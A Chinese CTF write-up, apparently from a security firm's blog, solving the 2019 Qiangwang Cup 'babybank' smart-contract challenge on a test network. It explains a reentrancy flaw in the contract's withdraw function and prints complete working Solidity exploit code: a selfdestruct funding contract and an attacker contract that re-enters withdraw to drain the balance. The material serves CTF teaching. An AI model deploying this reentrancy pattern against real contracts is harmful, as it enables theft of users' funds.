CTF技能寶典之智能合約 重入漏洞

2021-01-08 零時科技new

前言

近年來,各個大型CTF(Capture The Flag,中文一般譯作奪旗賽,在網絡安全領域中指的是網絡安全技術人員之間進行技術競技的一種比賽形式)比賽中都有了區塊鏈攻防的身影,而且出現的題目絕大多數都是區塊鏈智能合約攻防。此系列文章我們主要以智能合約攻防為中心,來剖析智能合約攻防的要點,前兩篇我們分享了合約反編譯,反彙編的基礎內容。後續的文章中,我們會繼續分享CTF比賽中智能合約常見題型(重入,整數溢出,空投,隨機數可控等)及解題思路,相信會給讀者帶來不一樣的收穫。

本篇我們先來分享CTF比賽中的重入題型,也是比較常見的一類題型,當然多數CTF智能合約題目並不僅僅考察單個漏洞的攻防,合約中的判斷條件有時也非常棘手。比如2018年WCTF上BelluminarBank題目,需要用到整數繞過條件限制,還需用到存儲溢出,訪問權限設置等多個攻擊技巧。

本篇分享的重入題型我們選擇2019強網杯babybank題目。

題目地址:https://ropsten.etherscan.io/address/0x93466d15A8706264Aa70edBCb69B7e13394D049f#code

題目分析

題目提示:

function payforflag(string md5ofteamtoken,string b64email) public{ require(balance[msg.sender] >= 10000000000); balance[msg.sender]=0; owner.transfer(address(this).balance); emit sendflag(md5ofteamtoken,b64email); }

合約源碼:

查看合約題目,發現並沒有ether,也沒有給出合約源碼,如下圖:

由於拿到題目後只有合約的opcode,所以需要進行逆向,這裡我們推薦Online Solidity Decompiler在線網站(https://ethervm.io/decompile),具體逆向時的源碼還原我們不再贅述,需要學習的同學可移步系列文章反編譯篇,反彙編篇

以下為逆向後的合約代碼:

```solidity

pragma solidity ^0.4.23;

contract babybank {

mapping(address => uint) public balance;

mapping(address => uint) public level;

address owner;

uint secret;

event sendflag(string md5ofteamtoken,string b64email);

constructor()public{

owner = msg.sender;

}

function payforflag(string md5ofteamtoken,string b64email) public{

require(balance[msg.sender] >= 10000000000);

balance[msg.sender]=0;

owner.transfer(address(this).balance);

emit sendflag(md5ofteamtoken,b64email);

}

modifier onlyOwner(){

require(msg.sender == owner);

_;

}

function withdraw(uint256 amount) public {

require(amount == 2);

require(amount <= balance[msg.sender]);

address(msg.sender).call.value(amount * 0x5af3107a4000)(); //重入漏洞點

balance[msg.sender] -= amount;

}

function profit() public {

require(level[msg.sender] == 0);

balance[msg.sender] += 1;

level[msg.sender] += 1;

}

function xxx(uint256 number) public onlyOwner {

secret = number;

}

function guess(uint256 number) public {

require(number == secret);

require(level[msg.sender] == 1);

balance[msg.sender] += 1;

level[msg.sender] += 1;

}

function transfer(address to, uint256 amount) public {

require(balance[msg.sender] >= amount);

require(amount == 2);

require(level[msg.sender] == 2);

balance[msg.sender] = 0;

balance[to] = amount;

}

}

```

合約分析:

我們先來看題目提示:

```

function payforflag(string md5ofteamtoken,string b64email) public{

require(balance[msg.sender] >= 10000000000); //調用者餘額需大於等於10000000000

balance[msg.sender]=0;

owner.transfer(address(this).balance);

emit sendflag(md5ofteamtoken,b64email);

}

```

從該段代碼的payforflag函數可以看出,該函數傳入兩個參數(md5ofteamtoken,b64email),函數中第一行代碼require(balance[msg.sender] >= 10000000000);會判斷調用者地址餘額是否大於等於10000000000,如果滿足該條件,則繼續執行之後代碼,否則停止執行該函數並回滾狀態;第二行和第三行對調用者地址進行了賦值和轉帳;最後一行emit sendflag(md5ofteamtoken,b64email);意義是通過event事件輸出該函數傳入的兩個參數。

也就是說只要通過該事件輸出這兩個參數,就意味著拿到了flag,那麼如何讓調用者地址餘額達到10000000000就是我們接下來需要做的工作。

通過分析合約,我們發現在withdraw函數中,存在一個經典的重入漏洞。

```

function withdraw(uint256 amount) public {

require(amount == 2);

require(amount <= balance[msg.sender]);

address(msg.sender).call.value(amount * 0x5af3107a4000)(); // 重入漏洞點

balance[msg.sender] -= amount;

}

```

該withdraw函數中,第一行代碼require(amount == 2);限制該函數傳入的amount值為2,否則停止執行該函數並回滾狀態;第二行代碼require(amount <= balance[msg.sender]); 會判斷調用者地址是否大於等於2,如果滿足該條件,則繼續執行之後代碼,否則停止執行該函數並回滾狀態;第三行代碼含義是進行轉帳,由於這裡使用call.value()的轉帳方法,所以存在重入漏洞;之後利用第四行減掉已經轉出的數值,由於這裡balance[msg.sender]值已經大於等於2,故不存在整數下溢出。

這裡的重入漏洞點為:

使用call.value()方法進行轉帳時,該方法會傳遞所有可用 Gas 進行調用,當該方法轉帳的地址為攻擊者的合約地址時,就會調用攻擊者合約地址的fallback函數,如果攻擊者在自身合約的fallback函數中寫入調用題目withdraw函數的代碼,就可不停的循環取幣,不再執行第四行balance[msg.sender] -= amount;的減幣操作,從而導致發生重入漏洞。

接下來的工作滿足2 <= balance[msg.sender]的判斷條件成立

繼續分析合約,可以得到合約中兩個增加數值的函數(profit()函數和guess()函數)。

```

function profit() public {

require(level[msg.sender] == 0);

balance[msg.sender] += 1;

level[msg.sender] += 1;

}

function xxx(uint256 number) public onlyOwner {

secret = number;

}

function guess(uint256 number) public {

require(number == secret);

require(level[msg.sender] == 1);

balance[msg.sender] += 1;

level[msg.sender] += 1;

}

```

profit()函數中,地址餘額為0的條件滿足後,就可使得level值加1,調用者地址balance值加1。

guess()函數中,首先判斷輸入的number值是否與secret值匹配(在合約信息中找到secret值),之後判斷level是否為1(當profit函數調用成功後,這裡的level值必然為1),當兩個條件都滿足後,就可繼續給level值再加1,調用者地址balance值也加1。當profit()和guess()函數依次調用成功後,調用者地址balance結果就為2。

達到了withdraw函數中的取款條件。

解題思路

通過上述合約分析,我們最終的解題思路如下:

自毀給題目合約轉幣–由於初始合約並未給出ether,所以需要利用自毀函數selfdestruct()強制給題目合約轉入ether。調用題目合約profit()函數–由於初始地址均為0,故通過調用該函數給調用者地址的餘額加一(balance=1)調用題目合約guess()函數並傳入調用數據data參數–通過調用該函數給調用者地址的餘額繼續加一(balance=2)調用題目合約withdraw()函數並傳入參數2–達到2<=balance[msg.sender]判斷條件,通過call.value()循環取幣。調用題目合約payforflag()函數並傳入兩個參數–通過重入漏洞取幣後,滿足balance[msg.sender] >= 10000000000的判斷條件,待函數執行完成後,獲取flag成功。下面進行攻擊演示

攻擊演示

1.自毀給題目合約轉幣

由於合約初始狀態沒有ether,故我們通過自毀函數,強行將ether轉入被攻擊合約地址

構造自毀合約

```

pragma solidity ^0.4.24;

contract Abcc {

function kill() public payable {

selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049f));

}

}

```

部署Abcc合約,並利用kill()函數進行帶入0.2ether進行自毀,將ether發送到被攻擊合約地址

發送成功

2.部署攻擊合約

```

pragma solidity ^0.4.24;

interface BabybankInterface {

function withdraw(uint256 amount) external;

function profit() external;

function guess(uint256 number) external;

function transfer(address to, uint256 amount) external;

function payforflag(string md5ofteamtoken, string b64email) external;

}

contract attacker {

BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f);

uint private flag = 0;

function exploit() public payable {

target.profit();

target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca);

target.withdraw(2);

target.payforflag("king", "king");

}

function() external payable {

require (flag == 0);

flag = 1;

target.withdraw(2);

}

}

```

從以上攻擊合約中可以看出,我們在exploit()函數中依次調用了題目合約profit(),guess(),withdraw(),payforflag()函數。

部署攻擊合約之後,調用expoit函數

合約交易記錄中可看到一系列操作,最後的一個交易是將合約中的ETH全部提現到合約所有者地址中

查看事件記錄,已有sendflag事件

總結

本篇文章中,我們通過CTF智能合約babybank題目,了解了重入漏洞的觸發點,合約空投的利用和對交易數據的理解。對於此類重入漏洞題目,我們做題的思路是:根據該合約的重入漏洞逐步去推理所需要的條件,並經過分析梳理出調用步驟,最終完成攻擊流程。

相關焦點

  • 零時科技丨CTF技能寶典之智能合約 整數溢出漏洞
    前言近年來,各個大型CTF(Capture The Flag,中文一般譯作奪旗賽,在網絡安全領域中指的是網絡安全技術人員之間進行技術競技的一種比賽形式)比賽中都有了區塊鏈攻防的身影,而且出現的題目絕大多數都是區塊鏈智能合約攻防。此系列文章我們主要以智能合約攻防為中心,來剖析智能合約攻防的要點,前兩篇我們分享了合約反編譯,反彙編的基礎內容。
  • 研報丨硬核解析智能合約漏洞原理
    撰文:Chen Bo Yu、Hsu Tzu Hsiu智能合約基礎介紹在探討智能合約漏洞解析之前,我們先從一個基本的範例來了解一個智能合約會具備哪些元素。常見漏洞解析了解問題發生的原因,並且歸納問題的類別可以幫助我們更好的防範。DASP(Decentralized Application Security Project)收錄了十種智能合約漏洞,下面我們整理了其中最常見的合約漏洞以及新型態的攻擊模式。
  • Hardcore|以太坊中智能合約攻擊和漏洞百科全書
    單函數可重入(Single-function reentrancy)當易受攻擊的函數與攻擊者試圖遞歸調用的函數相同時,就會發生單函數重入攻擊。這可以讓黑客在餘額設置為0之前多次調用該函數,有效地耗盡智能合約。跨函數重入攻擊跨函數重入攻擊是同一過程的更複雜版本。當易受攻擊的功能與攻擊者可以利用的功能共享狀態時,就會發生跨函數重入攻擊。
  • Hardcore | 以太坊中智能合約攻擊和漏洞百科全書
    #### 可重入攻擊可重入性是一種攻擊,當契約函數中的錯誤允許函數在本應禁止的情況下多次執行時,可能會發生這種攻擊。如果惡意使用,這可以用來從智能合約中抽走資金。實際上,可重入性是DAO攻擊中使用的攻擊向量。單函數可重入(Single-function reentrancy)當易受攻擊的函數與攻擊者試圖遞歸調用的函數相同時,就會發生單函數重入攻擊。
  • 兩大智能合約籤名驗證漏洞分析
    可重入(Reentrancy)或整數溢出漏洞,是大多數開發人員知道或者至少聽說過的,關於智能合約當中容易出現的安全問題。另一方面,在考慮智能合約的安全性時,你可能不會立即想到針對密碼籤名實現的攻擊方式。它們通常是與網絡協議相關聯的。
  • ERC20智能合約又現大量整數溢出漏洞
    今日塊訊(Chinaz.com) 6 月 13 日消息    近期,智能合約漏洞頻頻發生,繼EDU、BAI智能合約存漏洞可轉走任意帳戶Token 、EOS高危漏洞可完全控制虛擬貨幣交易等事件後,今天ERC20 智能合約又被爆出現大量整數溢出漏洞。
  • CTF從入門到提升(三)
    3.從基礎題出發 一般都是100,200,最高分在500,600 先把100分的學好,可從實踐,高中的ctf學起,比較簡單,只涉及1,2個點PWN、Reverse偏重對彙編、逆向的理解 對底層理解;Crypto偏重對數學、算法的深入學習 密碼課要深入學;Web偏重對技巧沉澱、快速搜索能力的挑戰 發散思維,對底層只需要了解,代碼原理,關於漏洞點的積累
  • EDU出現漏洞,火幣Pro:對ERC20智能合約代碼進行覆審
    EDU出現漏洞,火幣Pro:對ERC20智能合約代碼進行覆審 今日塊訊(Chinaz.com) 5 月 24 日消息    針對EduCoin智能合約出現的新型漏洞相關問題
  • CTF入門指南 | 內附教程分享
    capture the flag 奪旗比賽類型:Web密碼學Pwn 程序的邏輯分析,漏洞利用windows、linux、小型機等Misc 雜項,隱寫,數據還原,腦洞、社會工程、與信息安全相關的大數據reverse 逆向Windows、Linux
  • 首發| SushiSwap仿盤 YUNO與KIMCHI智能合約漏洞或存安全隱患
    北京時間8月31日和9月1日,CertiK安全研究團隊發現Sushiswap仿盤的兩個項目YUNo Finance (YUNO)與KIMCHI.finance (KIMCHI),其智能合約均存在漏洞。如果利用該漏洞,智能合約擁有者可以無限制地增發項目對應的代幣數目,導致項目金融進度通脹並最終崩潰。
  • 多個ERC20智能合約被曝出新的allowAnyone漏洞(CVE-2018-11397,CVE...
    PeckShield公司的漏洞掃描系統迄今為止已經發現了多種高危的智能合約漏洞(batchOverflow[1],proxyOverflow[2],transferFlaw[3],ownerAnyone[4],multiOverflow[5]),burnOverflow[6]),ceoAnyone
  • 危及ERC20智能合約、讓代幣價值歸零的溢出漏洞到底是什麼?
    7月8日下午,降維安全實驗室(johnwick.io)監控到,以太坊智能合約AMR存在高危風險交易。團隊對代碼進行分析,發現其中存在的整數溢出漏洞已被人惡意利用,導致AMR大量增發。今年4月份,攻擊者也曾利用該漏洞攻擊美圖合作的美鏈BEC,導致市場上頓時出現海量BEC,貨幣價值幾乎歸零。 那麼,整數溢出漏洞是什麼?可以從我們熟悉的登陸密碼說起。 程序怎麼判斷用戶輸入密碼的正誤呢?後臺的操作是這樣的,先讓用戶輸入密碼,然後再調取真正的密碼,與之對比,如果差異為0,則輸出密碼正確,否則錯誤。
  • EDU 智能合約出現重大漏洞,可轉走任意帳戶的 EDU Token
    又雙叒叕有智能合約曝出漏洞了。據慢霧區最新消息,EDU 智能合約出現重大漏洞,可轉走任意帳戶的 EDU Token。目前已經發現有黑客的大量洗劫行為,攻擊者不需要私鑰即可轉走你帳戶裡所有的 EDU,並且由於合約沒有 Pause 設計,導致無法止損。
  • 受太坊智能合約漏洞影響,OKEx暫停所有ERC-20 Tokens充值
    受太坊智能合約漏洞影響,OKEx暫停所有ERC-20 Tokens充值 今日塊訊(Chinaz.com) 4 月 25 日消息    今日早間,因SMT的以太坊智能合約存在漏洞
  • 美國安全審計公司CERTIK完成去中心化借貸協議TLC智能合約代碼審計...
    CERTIK官網公告信息:美國當地時間11月6日,美國區塊鏈安全審計公司CERTIK完成Super Trister去中心化借貸協議TLC智能合約代碼審計,並發布安全審計報告,審計結果未發現重大或關鍵或主要漏洞。
  • 美國安全審計公司CERTIK完成去中心化借貸協議TLC智能合約代碼審計
    CERTIK官網公告信息:美國當地時間11月6日,美國區塊鏈安全審計公司CERTIK完成Super Trister去中心化借貸協議TLC智能合約代碼審計,並發布安全審計報告,審計結果未發現重大或關鍵或主要漏洞。
  • 慢霧區:EDU、BAI智能合約存漏洞,可轉走任意帳戶Token ​​...
    首頁 > 塊訊 > 關鍵詞 > EDU最新資訊 > 正文 慢霧區:EDU、BAI智能合約存漏洞,可轉走任意帳戶Token ​​​​
  • CTF小白入門學習指南
    其中,題目大概有這麼幾個 web,密碼學,pwn(綜合滲透),misc(雜項),reverse(逆向),ppc(編程類)而攻防模式的比賽一般就是每一個參賽隊伍,在同一個網絡中,進行相互攻擊和防守,以發現對手伺服器的漏洞,修補和防禦己方伺服器漏洞來得分,一般比賽時間較長,而混合模式就是兩者皆有。那應該如何開始你的CTF得旅程呢?
  • 首發| CertiK:我們每天遇到有漏洞的DeFi合約概率是多少 審計後又...
    智能合約當中,任何一個小bug,都可能會給項目或者投資者造成無法挽回的損失。受此警示之下,CertiK安全團隊利用CertiK天網系統 (Skynet),對自北京時間2020年12月4日0時至24時之間,新加入Uniswap的代幣智能合約進行了監控分析。在本次分析的時間段內,一共產生了29個智能合約代幣項目。
  • CTF中常見的PHP漏洞小結
    在做ctf題的時候經常會遇到一些PHP代碼審計的題目,這裡將我遇到過的常見漏洞做一個小結。md5()漏洞  PHP在處理哈希字符串時,會利用」!=」或」==」來對哈希值進行比較,它把每一個以」0E」開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以後,其哈希值都是以」0E」開頭的,那麼PHP將會認為他們相同,都是0。